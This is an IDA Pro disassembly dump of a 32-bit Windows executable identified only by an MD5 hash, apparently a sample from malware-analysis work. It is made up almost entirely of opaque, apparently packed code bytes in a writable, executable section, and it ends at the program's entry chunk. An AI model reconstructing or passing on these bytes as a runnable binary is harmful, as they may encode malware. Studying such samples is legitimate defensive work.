;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : A7329924797CF76DB4929804CEFCC402
; File Name : u:\work\a7329924797cf76db4929804cefcc402_orig.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00008000 ( 32768.)
; Section size in file : 00003000 ( 12288.)
; Offset to raw data for section: 00000400
; Flags E0000020: Text Executable Readable Writable
; Alignment : default
include uni.inc ; see unicode subdir of ida for info on unicode
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 401000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dd 6F3000A1h, 0C0690040h, 30043FDh, 9EC30500h, 0B4A30027h
dd 0E8C1000Fh, 7FFF2510h, 0C3050000h, 424448Bh, 81C311B0h
dd 1902CECh, 0F8D5810h, 68501700h, 0FF050901h, 85511415h
dd 0A0C48116h, 8B55C315h, 5756EC02h, 0C70875FFh, 0F800C14h
dd 4589C8BEh, 5505B008h, 7503B00Ah, 85FCE00Bh, 0B82EC9h
dd 27D0226h, 0FF85C803h, 85F805E1h, 85D0E1D2h, 6AF0E0F6h
dd 0F9058301h, 0C75587Fh, 41751985h, 3D751780h, 5874F03Bh
dd 50A1137h, 0F9813274h, 3380ACh, 0FF830A75h, 277E0F16h
dd 7C200B04h, 0C01D1120h, 0FF810802h, 7407E2A8h, 0A90FC710h
dd 0FE1E0A47h, 32027501h, 5D5E5FC0h, 0ACC78C69h, 93539600h
dd 0A8858D16h, 0FF680070h, 63500071h, 85C1049Ch, 794275C0h
dd 1010E715h, 33F88B80h, 0FE3BF6h, 478B2D74h, 7430390Ch
dd 48B2602h, 0C730FF06h, 0D8400819h, 0B005E853h, 0B844038h
dd 157559C0h, 0C683801Eh, 63C8304h, 0EBDC67B0h, 5D8B0300h
dd 74DB8508h, 0EB530203h, 69FC6805h, 0C7FA29CEh, 7F385018h
dd 80C95A5Bh, 10EC830Bh, 106A027Dh, 0DECE458Dh, 11447878h
dd 0C48305ABh, 81C7660Ch, 6800020Eh, 2D3D36BDh, 933650F4h
dd 0F2172966h, 0D001161Fh, 6AF40B07h, 0F81D2F08h, 66A10C1h
dd 535B1B30h, 2C026A2Ch, 0F08BF878h, 30FE832Ch, 0EBE30458h
dd 0B561D5Ah, 17565010h, 8317FC1Eh, 2EF9FFF8h, 1C380DDBh
dd 0C35A8A51h, 8BF87081h, 0C24137Ch, 38CE8E57h, 0C00974C4h
dd 8017756Dh, 19E1B03Fh, 0B0F7BC57h, 0B077408h, 8B0C408Bh
dd 0E5301E1Fh, 8B058542h, 0BCBE9FC6h, 5FF1402h, 29F47734h
dd 9C063516h, 68EC046Eh, 0D1406A14h, 7069E041h, 17A4C9CEh
dd 71100868h, 40EB240Fh, 5FE29C2Ch, 5625E531h, 0B12BAA0h
dd 20352E8Bh, 50592E16h, 42505811h, 0B7E5BBD6h, 93D1016h
dd 1C7F0FEFh, 5E26501Ch, 0AAD6295Fh, 13033C1Eh, 2EDB3357h
dd 2DD55364h, 0E8270C0Fh, 0D62C9E53h, 4291B72Ah, 2A620775h
dd 36A61E9h, 752D3C8Fh, 840F8657h, 560EE093h, 0B2FD02E8h
dd 871BC924h, 5FEF00Bh, 0B36F3868h, 11DF18DFh, 0B583Ah
dd 0CE0C56CDh, 300958D8h, 0C4856078h, 7D0DFC59h, 0CF0CF207h
dd 829CF436h, 2511C4Ch, 8D532476h, 16D33584h, 16718C9Dh
dd 46B226F0h, 0DC6025F2h, 9EDC7259h, 0B020110h, 0E82404C7h
dd 1E26FB77h, 1B30928h, 0C2A8575Eh, 1AB1F55Fh, 0CCEB0744h
dd 35719D3Bh, 0EE9F790Ch, 0C409D23Eh, 91EC2068h, 0C988B133h
dd 0FEFD6961h, 0D548AC0h, 188858C4h, 200480h, 60404041h
dd 0EE7C2848h, 19606A2Ch, 68FF4C38h, 4063E41Bh, 8B12625Dh
dd 8B9040EFh, 1C383FD1h, 0E1EFB4FCh, 0EEFF7C06h, 0F0CCDE1Eh
dd 68096A21h, 31643B2Fh, 0D8E1BDACh, 206B7B45h, 48B3F75h
dd 0D001E91Ah, 0FE4588E0h, 0E5FE1162h, 21AE4F42h, 9041D70h
dd 218E23B3h, 79FF3CFFh, 2C6471EBh, 846D371Bh, 0DF3BD884h
dd 93C497C7h, 687AC657h, 22B389B8h, 6DAB188Fh, 3914A737h
dd 9C0F3CECh, 8B36EE0Ch, 534C8B43h, 0B200C39Ch, 93CAC90Ch
dd 765A3D14h, 922F67Bh, 1D8B6B74h, 4B8B8DA5h, 0CC424B89h
dd 1C0ACE61h, 118D32Dh, 40BF5752h, 85D99C06h, 0FF0CBC58h
dd 31325759h, 6434ECBDh, 8DE3D66Eh, 58680465h, 0D8DF7962h
dd 0B56A252Ch, 7413BA28h, 3BDE7424h, 0A39B6304h, 415A331Ch
dd 8D46A028h, 0EEC5CB5h, 5C0EAC5Fh, 130C1106h, 0D26A1868h
dd 10C0C0EBh, 264F4646h, 0CF0FE375h, 5804581Ch, 0B8424ACDh
dd 0D6B1EFC4h, 0A1CB1505h, 833B234h, 0A1ECEAC1h, 0F20A6738h
dd 8D5B4C6h, 0ED3E0627h, 4893B43Fh, 3C8E09A6h, 3EEFB4A8h
dd 8E6C3FECh, 0EF6BACB4h, 0FB8EB43Fh, 0B53FFB3Ch, 9A8C921h
dd 0CFFAE3FAh, 0E7DEA669h, 99993516h, 0DD034C0Ah, 0C7D069E2h
dd 253B60AAh, 0C2E7366h, 0FB8305DFh, 80657401h, 60740204h
dd 74DD068h, 0F0DC0EB6h, 9906816h, 0BEC53767h, 562FCB34h
dd 0D2A3696Fh, 86568BF1h, 36F2EC51h, 981AE197h, 0B7E6FF8h
dd 63CDB6Bh, 0C5681009h, 0D1888553h, 737C017h, 0DACBFE9h
dd 48385FB4h, 60B757D3h, 586A2ABCh, 702C1604h, 0B49B8DDBh
dd 45535E32h, 3C0E787Fh, 432DB7DBh, 6882DE60h, 746A6A2Ch
dd 647B1274h, 16803AF7h, 70B13840h, 159DD6DEh, 0F1B7CD6Ch
dd 87690D94h, 3B00D06Bh, 80EC7CCFh, 12B944A5h, 45066300h
dd 1C52BEA0h, 3C39ADB4h, 31785876h, 0BD8EAABCh, 0D4971439h
dd 0C54FE40Eh, 257F0074h, 0FC7D8908h, 0FCCD5ECCh, 0EADC5EB8h
dd 0DE8F6E67h, 9FE7E0CAh, 6CE41D08h, 7FDCACE5h, 22E1C56h
dd 0F2F03DD8h, 33653753h, 3C1CBBF0h, 0BB475311h, 73AC8F69h
dd 3DB66248h, 0D77F6936h, 0C730FC17h, 6A1601E0h, 4417B72Ch
dd 756D7ED7h, 73B71D28h, 83C16464h, 8E04C083h, 2DEF9E4Bh
dd 89C72D50h, 6814B85Ch, 64482F68h, 0BB634553h, 1FA03A7Ch
dd 3A4764B4h, 7D831B5Ch, 6317A20Ch, 16A34C05h, 1A7C6A5Dh
dd 0E2E0F81Ch, 703565DBh, 0BC93B1A7h, 741B9D4Fh, 6D5285E1h
dd 4410C362h, 0D86885E9h, 68622DADh, 0EFE06124h, 9E48EFEDh
dd 0CF83985h, 590AA038h, 0EFF0B5B2h, 665B6C68h, 0B7EC875Ch
dd 0C71B5A8Eh, 6A5076A4h, 730ADE70h, 802ABC59h, 0A5EC878h
dd 977584ECh, 8784680Bh, 0C7A24863h, 3C71674Ch, 80E36C79h
dd 519610FCh, 353B74B1h, 0FDCC227h, 6FA741D3h, 68147026h
dd 14E7EB86h, 33E6DA48h, 0B52A32E3h, 66763AEBh, 0AF744C7Ch
dd 8210B687h, 0C0599303h, 7559013Ah, 0D913BC60h, 1840BE6Bh
dd 0C259FB15h, 0B374596Bh, 56F6CFAh, 0EB079958h, 3A222D5Fh
dd 0F001A33Ch, 0D90AEB01h, 0F40BFBF8h, 8C4EE07h, 59780281h
dd 0E4837C5Eh, 2C530871h, 0B85F8CDBh, 0E6030BDAh, 6AD3277h
dd 7868D035h, 0DDDE0B82h, 12505917h, 6D9538Bh, 0B4087D8Bh
dd 3803B40Ch, 2768FB1Ch, 711B0400h, 0D9B41518h, 5A48016h
dd 0A7B79913h, 0F874C51Dh, 5CB41A9Dh, 563AD475h, 0DB71D43Dh
dd 307C0C0Eh, 0D8CFEB6Ch, 64FCD8A3h, 0C1C471FBh, 202BCC36h
dd 1C67D6FBh, 661B17E0h, 6A6031A1h, 8DFC41B1h, 78190267h
dd 149C7B16h, 33D81A8Bh, 30DDC6FFh, 7D041E60h, 8002830Eh
dd 89592B0Eh, 0C85CBD44h, 0A75750Fh, 0EE8450Bh, 0F750507h
dd 730EC59h, 5F5A066Ah, 9D6A2D4Dh, 58474838h, 58062059h
dd 4C7C4B59h, 0D44CEEB4h, 1AE85827h, 0D008B0A0h, 8E72CC1h
dd 3CC0E05h, 0C808EC7Dh, 0B97A5468h, 1FDB182Dh, 0C3E047E0h
dd 4CF3D20Dh, 7B8D1DFCh, 0BDE427B8h, 98E41334h, 2A746DCFh
dd 80E7BA8Ch, 2BDB162Ch, 8E00CE1Eh, 0ECD841B3h, 57E3D88Fh
dd 19CFEE3Ch, 0DA0A112Eh, 0F9DC5D89h, 7BBD820h, 3DF40D8Bh
dd 3BDE9A36h, 5341EF8Ch, 6F0974ACh, 0EB0BC453h, 0F79E9F75h
dd 90F1FBB6h, 0F62D3415h, 6D7B133Ah, 7B300E8Fh, 0F85A8230h
dd 26594A74h, 86AD6B2Dh, 2C1D8B86h, 74594FD1h, 8A30B315h
dd 4070F852h, 361B7501h, 23356580h, 9CA9966Ah, 0F4591453h
dd 2D1FD6CDh, 3524DEEBh, 4E183FA7h, 8F02D67Fh, 0D9DCA3DCh
dd 36EBBDC4h, 0F64437F9h, 0CBB7745Ah, 0BA763918h, 0F0BB303Ch
dd 8F0F1000h, 351F6625h, 84A93790h, 0A27004C2h, 6C082474h
dd 8A002057h, 74203C06h, 5093C04h, 0EB460375h, 0C5D43BF3h
dd 0A20B1844h, 0DC00D5Fh, 0BF048D0Eh, 7C8D4600h, 0E5EBD041h
dd 0A8C7618Bh, 33085654h
dd 3F5657F6h, 5F088BA5h, 45E1D58h, 0B515B268h, 0C66C6ADFh
dd 75891A57h, 51FBC4F0h, 0E13C9B6h, 97B3056Ah, 85960D00h
dd 0B70B573Fh, 930A5656h, 4D417AE8h, 428C51FCh, 1B086818h
dd 1638FC9h, 196AC638h, 46EB7978h, 541EE4DAh, 2D91E304h
dd 32C47669h, 461B9DBEh, 0D92C20D6h, 0A6D59F0h, 0F8C2C747h
dd 4C0FF85h, 81067DDCh, 4FD3C749h, 0C3093C47h, 0C657E8E8h
dd 1F6A00C2h, 0F9F75999h, 0FFA0283h, 0B6E84D7Eh, 231E0FF6h
dd 9916A6E8h, 0B0ECE8Bh, 0A9BE852h, 23D69071h, 3B3E17EBh
dd 0B0788E17h, 16EB5753h, 1969E82Ch, 0E8AC5EE3h, 8E0A535Bh
dd 91ADB748h, 0D546F220h, 0ECD423Bh, 4EF6B110h, 40365C3Ch
dd 0BF640EB9h, 3711BA95h, 17C50F7Ch, 180EC52Bh, 7004CB50h
dd 0D577C80Eh, 0C9B4A620h, 0BB35BD3Ch, 0E2D13284h, 4C5151C3h
dd 483D2E58h, 68C9B011h, 5E6A4D94h, 3D22D796h, 193D6C44h
dd 234C04B4h, 50106F93h, 76170C27h, 0A830D12h, 0D25A597Fh
dd 8E10E858h, 1010F167h, 2DFD86D2h, 40674280h, 0B73D87h
dd 0D73CA235h, 48B464CBh, 53CE4CEAh, 65680B1Fh, 0BBC2261Eh
dd 5A863680h, 0F03F13F8h, 0EE754B04h, 0E3E75Bh, 0BB86884h
dd 0EB0A6035h, 24CED9ECh, 69BE56E2h, 0DC740E00h, 9D8D568Dh
dd 8DFBDCE2h, 50150BD6h, 1D5B5A0Dh, 5BC8005h, 5C0CC8DBh
dd 13741361h, 4D681778h, 9B6D2FCCh, 0C81E23A9h, 137130EEh
dd 0DC020C80h, 165E74C1h, 4E726313h, 745A9E6Bh, 2E10CE4Ch
dd 53409C68h, 8011FF68h, 0FB6E8267h, 0ED0D7567h, 5C0017CBh
dd 81D6CC8h, 0CA126C6h, 9DC5CA50h, 8B00ACCCh, 0C245400h
dd 4244C8Bh, 74D21385h, 8A082A47h, 8B8CE644h, 720474E0h
dd 0D900F72Dh, 7403E183h, 0D12B08h, 49470788h, 0C88BFA75h
dd 8E0C105h, 6A3C103h, 83CAC210h, 0E905C0E2h, 2E067402h
dd 5C3AABF3h, 0F74A2306h, 695F993Eh, 0E861D6E4h, 0C132F75Bh
dd 145FE003h, 0B41018Ah, 4074C084h, 0F175C20Eh, 0E030DC75h
dd 0FF03BA01h, 37EFEFEh, 33BF70D0h, 0C11B83C2h, 6DA904h
dd 0E8748101h, 0FC5C418Bh, 8433322Bh, 0A9131EE4h, 133DB886h
dd 0ADB69BCBh, 0CDEB0201h, 68FF418Dh, 0C12C2B55h, 0FE7509C3h
dd 0FC67FD9Dh, 0B8D781EEh, 69C5729h, 104D31E3h, 0B88B5CCBh
dd 0C603D100h, 276FE3Bh, 0FF83B08h, 7A387882h, 8CB6C7F7h
dd 0E0CB145Dh, 8F983D1h, 0F3290072h, 9524FFA5h, 51CE23D8h
dd 1CBAC72Dh, 80E98309h, 0E0830C0Dh, 0C8580303h, 0F0398517h
dd 8D06C122h, 90C523E8h, 8B6C07CEh, 2C970400h, 23503C03h
dd 0C8AD127h, 1468A01h, 62014788h, 56EE0205h, 0C6597108h
dd 5CB3C7C5h, 5B8DACCCh, 259D2B49h, 271019Ch, 0D6A6D102h
dd 2E23905Eh, 475A2146h, 0DE8C3A19h, 6CF5C3Fh, 0B403B9BCh
dd 0A49EACE7h, 0E7949C79h, 3188AC8Ch, 6885E48Eh, 7CFE48Fh
dd 0ECE83CE8h, 0F0CFECF3h, 0F3F4F03Ch, 3CF8CFF4h, 0FCF2FCF8h
dd 348D6DB1h, 0F0030B9Ah, 0E26CF803h, 0F0D1FF8Bh, 0FC0373F0h
dd 62410C7h, 5C08458Bh, 9DB49071h, 0F97C0BFAh, 0A3EB11FDh
dd 0AEEDA0Dh, 748DA02Bh, 7C67B031h, 7FFC4F39h, 0DC2249Dh
dd 0FCE3C5FDh, 257077C7h, 65859749h, 0EF252016h, 0F9A38FD6h
dd 78A12BE3h, 2CA1DB24h, 0B728890h, 0D003E7A8h, 99036DB8h
dd 36FC23Ah, 4F58E54Eh, 0BDB656A3h, 0B51F4BCEh, 0B1EEA3B8h
dd 63CBEF02h, 90F2294Eh, 24F527DEh, 0B1EEABB8h, 0AE69EFABh
dd 0E5A4531h, 2E5BFED6h, 2C5C0624h, 3CF33403h, 4C3C44CFh
dd 0D767F354h, 1C1C3C67h, 0E71807B9h, 79149E18h, 10E71014h
dd 0C790C9Eh, 9E08E708h, 97044F04h, 80C51FCBh, 38805CBh
dd 0AC7A989Eh, 0B7E78BD6h, 0EE87ADB5h, 0E783D70Fh, 0B7F6D213h
dd 0CCC01E8Dh, 83003D51h, 968D119Eh, 14151751h, 25B8C281h
dd 10D02DDDh, 17B60185h, 84EC7326h, 0CC48B16h, 8BE18B0Bh
dd 884019A5h, 0EFD2C38Ch, 56534130h, 61118A30h, 98841031h
dd 8A006919h, 0F6840171h, 5D8B4F74h, 11919F7h, 0D038C930h
dd 0D9157423h, 3A180B9Bh, 750A380Ah, 5B5EF518h, 0A0C3B4C5h
dd 0EB75F010h, 0FF7E8D02h, 3902618Ah, 106628F7h, 0E03811E0h
dd 8A17C475h, 6310341h, 0FF668A18h, 83101F67h, 0B1EBDF74h
dd 34C2E419h, 90E0C28Ah, 478D9119h, 0C30CFF5Ch, 5D31DD9h
dd 20111A1Ah, 57F2A053h, 26B0086Ah, 7D338D59h, 6A0BA2E0h
dd 16002C07h, 0B60F01B3h, 101CCCAh, 0E8C1CF23h, 0CE3D203h
dd 0CF056699h, 0A2461816h, 8BE57502h, 29460855h, 0CA8B0610h
dd 8A4960A4h, 27BB6A02h, 5BCE1B61h, 0E3D32860h, 8AE798C1h
dd 0E0354C01h, 774D984h, 42038270h, 8BE016EBh, 0A7921DAh
dd 0CE236D1Eh, 580B242Ah, 5025E0D3h, 21B475C1h, 228000h
dd 5FC38B42h, 5EC2012Bh, 0C01BD8F7h, 23556C89h, 565BC327h
dd 8493898h, 8D6A0CEBh, 0FDDA24A4h, 5757C936h, 8E0FCF20h
dd 1B7FA63Bh, 1A3E238Fh, 79810E3Bh, 600DEBFFh, 8EBFE04h
dd 3EBFDE0h, 0C0C68E6h, 194C5FBEh, 92414E95h, 1788640Bh
dd 0EEE06247h, 668905EBh, 42D7417h, 0F86EB967h, 0B5118B69h
dd 2FE1976Bh, 0BBF3427h, 69C2F727h, 79F1265h, 38C7966Ah
dd 668BEE67h, 0C5C6C608h, 0CAD0043h, 0F08808C5h, 0EC3D8307h
dd 1FE6C58h, 68117E09h, 4CA71D07h, 21A7AEECh, 0E195471Ah
dd 0D8B26B0h, 8137C3E0h, 2541048Bh, 0C6F8A307h, 2820306Ah
dd 7D31E451h, 64046134h, 0B2434A1h, 25896450h, 1CD74B07h
dd 89570858h, 0C563E865h, 0D233C1ACh, 5C31D48Ah, 93C2EA64h
dd 765CE181h, 600D2E89h, 0E1C1210Dh, 0ACAA68Bh, 0E8025C1Dh
dd 0E258A310h, 8EF63307h, 7D232998h, 8754281h, 0B701C6Ah
dd 63595419h, 83C0E89h, 4DD25821h, 1A27F7A8h, 20B8D074h
dd 40A316A0h, 1ECC096Fh, 9A1D8B38h, 0BC58AEB4h, 79C6D02Bh
dd 838FA431h, 1674A4h, 9C458942h, 1D045F6h, 0F06F986h
dd 18D445B7h, 58410AABh, 729C4F8Dh, 0BE9EA01Fh, 89302566h
dd 0E91A34D8h, 0EC47568Ch, 8909011Fh, 5150984Dh, 0BE1B1071h
dd 0C7E0FE69h, 0CBE89875h, 23C3F6BAh, 75C56F48h, 251BC405h
dd 423E78Bh, 9AC42588h, 0D04F7066h, 0BB2FE76Ah, 0F859F224h
dd 0E450B025h, 428D60D0h, 0C35BFF1Bh, 648DE25Dh, 0D36C06C8h
dd 0D88B3153h, 0EBC4BD90h, 0B0BFC908h, 0A8A130Ah, 0D4384236h
dd 0C984D102h, 12F05174h, 0B36ED75h, 0C3029CD8h, 5610E3C1h
dd 0A8B08C1h, 4611B6BFh, 3319B6C1h, 0F96FC1CBh, 0B4FFF183h
dd 33CF021Ah, 4C283C6h, 1BD06D64h, 256D1C75h, 6D39622h
dd 817979Ch, 2345E681h, 4023AD80h, 0CDC05B11h, 38FC428Bh
dd 367437D8h, 38EF0DA7h, 0AB3E93DCh, 0BC8DE793h, 0DCF31512h
dd 385806CFh, 0E12DB396h, 77FE42B1h, 0FD9F0637h, 0D125FC1Dh
dd 8D91C522h, 0F9658848h, 0C772638h, 72592FDEh, 52EB2F30h
dd 5B83F599h, 0C12B0E3Ah, 0D1B68085h, 15644F6h, 0A5E8023h
dd 0FE658005h, 0FC4D1060h, 0FD451B88h, 916A46Ah, 45FD380Dh
dd 42CFC6Bh, 0BB0A4D8Dh, 51018413h, 3C559A50h, 17682701h
dd 27566D0h, 0C6B89B8Ch, 452C230Ah, 0A111080Ch, 0CC347454h
dd 0D0FF0203h, 73601068h, 30060888h, 68A41BC1h, 0E6804h
dd 16DD4BEAh, 8A974FC3h, 0D11B0C3Ch, 100CB28Bh, 86DA0147h
dd 395F047Fh, 0BAE3943Dh, 0FD691175h, 0D3B8A963h, 64B49E49h
dd 3155CD83h, 18585C20h
dd 903D2E89h, 1D881622h, 3C82288Ch, 83F150A1h, 4CEF6122h
dd 8D56C074h, 3B02FC71h, 8B1372F0h, 0B097F206h, 5A3B047Ch
dd 73022235h, 18685EEDh, 0D41494D1h, 5A682898h, 1C3B1020h
dd 5BDB8580h, 7AB41075h, 4F86895Bh, 6198362Ah, 0E23B78A2h
dd 0D60D73AAh, 4C60A57h, 5D34EDEBh, 53D85344h, 18D3FF1Ch
dd 8B842047h, 0F79C0858h, 15AEDA15h, 5C8205FBh, 0E5086083h
dd 807158EAh, 4343FC1Ch, 73F61938h, 98AE8700h, 4CE6266Fh
dd 0C04D4369h, 8B0C0B3Bh, 24680448h, 1DC85B85h, 0CC6D701Ch
dd 6D743865h, 56D10003h, 157DCA3Bh, 4916348Dh, 1704D12Bh
dd 161200B5h, 3022683h, 754A0CC6h, 177E46F7h, 16107C35h
dd 58338E3Dh, 0C72D0C9Bh, 830E0C05h, 70EB1300h, 0CE123B25h
dd 3D5D8381h, 0E884BC91h, 933D3B4Ah, 378385CEh, 82BC8D3Dh
dd 3D3B24E8h, 8386CE8Fh, 0A3923D11h, 0CB8AE30Ah, 6A6688FFh
dd 2E8C888Ch, 56590AECh, 0FA74595Eh, 3911515Dh, 0E368A39Ah
dd 0FFC83683h, 7BD14868h, 5D5BE1BCh, 1C671DC3h, 6D7078D9h
dd 0F8671539h, 0B85616FDh, 0ED748B05h, 0B74EB4Fh, 0CC08300h
dd 473C63Bh, 0FC104339h, 490C8D02h, 8D03C55Eh, 0C13B15A1h
dd 89661269h, 0EDCE3EEDh, 1B003B74h, 0A3E8662Ch, 2330499Eh
dd 25637522h, 74616A9h, 119B476Dh, 0A1C019F7h, 0A7602861h
dd 46E60128h, 3E80E3EBh, 0C00D2162h, 203C0A07h, 704EC676h
dd 5977200Ch, 28E534FAh, 890FD104h, 0DB80C685h, 39DB3353h
dd 0CC5AB41Dh, 0C85BFD48h, 4EEFD25Ah, 0C33A2B80h, 3D3C01DEh
dd 23470174h, 3966683Ch, 0EB01A3C0h, 4128DE8h, 0AC3C04BDh
dd 8BB12C01h, 0F33B59F0h, 0B4740931h, 7448CCA5h, 72F4C09h
dd 1413D5Ah, 39741F38h, 396C5755h, 59E8058Bh, 853F8045h
dd 0B1552249h, 31C33B34h, 2E6E063Ch, 36FF5708h, 596EACB4h
dd 359166Eh, 750537FDh, 0B7FF5DC9h, 82452D84h, 0B1D2B8Bh
dd 5F1E8940h, 4487985Eh, 0E8017471h, 6B510BF1h, 9CBE85BDh
dd 3C982BDBh, 53515623h, 69A18AB2h, 84A2C729h, 38FE8B82h
dd 8B4D6118h, 6DE347F8h, 53530BF3h, 671E459Fh, 0A0260F8Bh
dd 8816E54Bh, 0EA19A5D4h, 3EA1D6CFh, 392F7508h, 8624E127h
dd 356A5650h, 2C27FC2Ch, 7B5A4814h, 0A39C856Ch, 3606D068h
dd 184CE26Ch, 30141CC4h, 0B321839Bh, 616A6672h, 0A60C7D44h
dd 8BE494DFh, 0C6786685h, 61393777h, 80146189h, 449B3038h
dd 150048Ah, 0C6FA8040h, 583929BEh, 0D2BE3025h, 218216F6h
dd 41B4772h, 1043D74h, 70C0F685h, 1688108Ah, 0B40462Dh
dd 0EB8BD59Dh, 4620CCEh, 461D3180h, 1CC24069h, 11D943EBh
dd 0C51E6D05h, 44834004h, 0E983F6DAh, 881819C0h, 65B8461Eh
dd 9797420h, 9086009h, 75E0CC75h, 0BBD94803h, 0FF664AD8h
dd 2C6580D8h, 684E0018h, 16C700h, 2BD14439h, 3276805h
dd 6CF15EB1h, 0BCF7C817h, 0B558BD0h, 0C702FF14h, 59D73AD0h
dd 5C22C085h, 16400475h, 92F7EB43h, 0C3F62C81h, 6196B201h
dd 307D3941h, 0B800D6Dh, 8D220178h, 8B1D38E3h, 3815C263h
dd 0C9C0837h, 18D26C33h, 940F1805h, 58089C2h, 0D38BEBD1h
dd 0B2F934Bh, 4088430Eh, 465C06C6h, 754BB1B0h, 0C58AF335h
dd 92834A29h, 0A37CB33Fh, 74C33F8Ah, 94C833Ah, 282E742Eh
dd 0C9E2195Bh, 0E21FE506h, 406F0F1Bh, 0E315032Eh, 90384001h
dd 309AD81Fh, 0EE80F9Ch, 3C7B8A6h, 8E274E83h, 4CE1442h
dd 98A06CFBh, 0A019A149h, 0B5684070h, 0D1C2EDD0h, 0C0C9F633h
dd 475A88Bh, 260ED51Bh, 1674330Bh, 0ED7421BAh, 5828EB36h
dd 4730CC3Dh, 1798FB3Bh, 0C71BF7EAh, 215EBC02h, 62C87D40h
dd 0A781E0C7h, 3F0C2F43h, 0F0C22738h, 8C1E3966h, 40EBE173h
dd 18086040h, 6BCF975h, 0C62BF211h, 50C82F87h, 84F8D10Dh
dd 5953408Eh, 8903C090h, 23342444h, 235D7FFh, 3274EB3Bh
dd 0C2223237h, 0C223747Bh, 0B950551Ch, 257724BBh, 97A92B21h
dd 10230C0Eh, 8B5CE527h, 0B1038B09h, 5C4728Fh, 53EBC38Bh
dd 75028982h, 85A5CE4Ch, 7408B177h, 8B60C03Ch, 2C0A74C7h
dd 5A7B3840h, 0F60504FBh, 9C40C72Bh, 945666Ah, 68CEDD9Bh
dd 0EBF622B0h, 6DBA0B46h, 0EC8B90F5h, 0C0F6B1B3h, 67C63D68h
dd 624089EBh, 7D9C5B01h, 894459ECh, 0D232394Bh, 0B3093EADh
dd 1B327365h, 4015C3E6h, 1C189673h, 20787440h, 29B4868Dh
dd 7336B4ACh, 4396D1Ah, 46C6B6C0h, 0A15A0A05h, 2DF56C23h
dd 0A1B0508h, 5DB4E2EBh, 66CC52A6h, 73420973h, 0C5D2C575h
dd 0E99C4417h, 23B9740Bh, 5DC8D30h, 0A00800B8h, 2E1C8D4Ah
dd 76027C2Ch, 6335392Dh, 0BF527D02h, 8F4CEE44h, 380068E6h
dd 57F835Eh, 888D0789h, 4F607EB6h, 0B9608018h, 40C7087Eh
dd 0C10F8B0Ah, 0C1810876h, 0DDE47C6Ch, 7C49F0D5h, 6EB16BBh
dd 30D4098Bh, 187EF6A5h, 38038B46h, 68A3614h, 0C1F6004Dh
dd 47ECE01h, 0B75080Bh, 87949EA5h, 0C7D05825h, 0C1CF8B01h
dd 0E18305F8h, 85045530h, 218CCFB4h, 0B8BC805h, 2FC80889h
dd 47EB6088h, 0C3038345h, 7CFE3B04h, 0EC5067BAh, 0FFD83CC1h
dd 31D8F258h, 3B964D75h, 81041900h, 0F66AB481h, 8861EB58h
dd 198748C3h, 72F58D71h, 0F203D858h, 0B5571750h, 250C8D66h
dd 9A3ECF68h, 800608D0h, 0EB6AC54Eh, 3F8BB84h, 50A1C77h
dd 0C604EB08h, 30438005h, 2D7C0374h, 0B8B8FF9Bh, 0A5F5D436h
dd 44BD84A9h, 6AB3C4C3h, 0F3987732h, 0B6A0A368h, 63C02E76h
dd 17558C5Bh, 569128A3h, 2D2E5C37h, 0F752570h, 10A73CB3h
dd 0AE901E1Dh, 4BCD8672h, 0FCD62140h, 0C25529E7h, 33D868D8h
dd 309EF886h, 5DA13C11h, 0E58B3AC7h, 41CFD022h, 67004h
dd 81D8DB8h, 0E73A0F74h, 8910F1B8h, 0CBB80235h, 0BD3EC347h
dd 6AD96012h, 0E05C68FEh, 66B26440h, 0C3AF8B5Dh, 0A620193Ch
dd 708B0A4Ah, 53440E0Ch, 24047F2Eh, 21C02874h, 0B30C8B76h
dd 39858949h, 17844889h, 0B1C3B37Ch, 14431275h, 0B32D2D4Eh
dd 9124027Dh, 8C054FFh, 8F64C3EBh, 0DE4932ABh, 0E7F38CA2h
dd 0D0641964h, 5A79810Fh, 75236804h, 8151190Dh, 390C52A6h
dd 5B13151h, 8AC19B6Dh, 8C8CBB51h, 0F671B385h, 61A86708h
dd 33024B16h, 6B02D043h, 465B590Ch, 56EF7024h, 30320243h
dd 30304358h, 816374Dh, 59FC89FAh, 0F7B99C18h, 6CE4405Bh
dd 212DC7D9h, 4531C489h, 16DE4D10h, 21713EF8h, 87BC273h
dd 8D61C1D0h, 0B1760C2Ch, 45748F70h, 8D555605h, 0A89C106Bh
dd 5E5D2E0Bh, 0C40B4C41h, 3C783317h, 45C54125h, 0B38BBB23h
dd 56961D04h, 2EFDCE0Ch, 6FB33608h, 938FDE8Fh, 558F164Ah
dd 5D3B0C2Eh, 1AE03008h, 0EB8F348Bh, 0DBB8A12Dh, 0C91CEB0Bh
dd 0D015EB62h, 0B5FF6A5Ch, 165D963Fh, 55A394D6h, 8B02754Eh
dd 1C418B29h, 1803C250h, 0F324D650h, 350EA1E1h, 99CCA18Eh
dd 832AF2B8h, 6AD43D1Ch, 21089DCCh, 0D800FC68h, 33C42538h
dd 9ACBA4A1h, 0FFF0F159h, 592A156Ah, 9AA4C06Ch, 8550184h
dd 0A0B8C933h, 983B3E39h, 428E0B90h, 303D4108h, 0F137E06Eh
dd 5F18B56h, 3B03E6C1h, 871AA596h, 3A011C26h, 1EBC9B6Ch
dd 0D70F3E8h, 0D71E10F7h, 75FA812Dh, 0F0F10B38h, 905C858Dh
dd 10427E2h, 30E74D46h, 0C4171397h, 0D34F540Ch, 123E7CA3h
dd 8D505705h, 3407A6BDh, 0C1404261h, 29763CC8h, 0E2211979h
dd 0DF1F825h, 6A465883h
dd 0F8030305h, 41CF0868h, 0FB351257h, 60858638h, 0DACDD385h
dd 109F553Ah, 0B63C5712h, 0EAE81DF8h, 0B6FF2B05h, 16D3DFA4h
dd 6805113Eh, 0F1012010h, 7CC06810h, 6E6A3527h
db 0C0h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
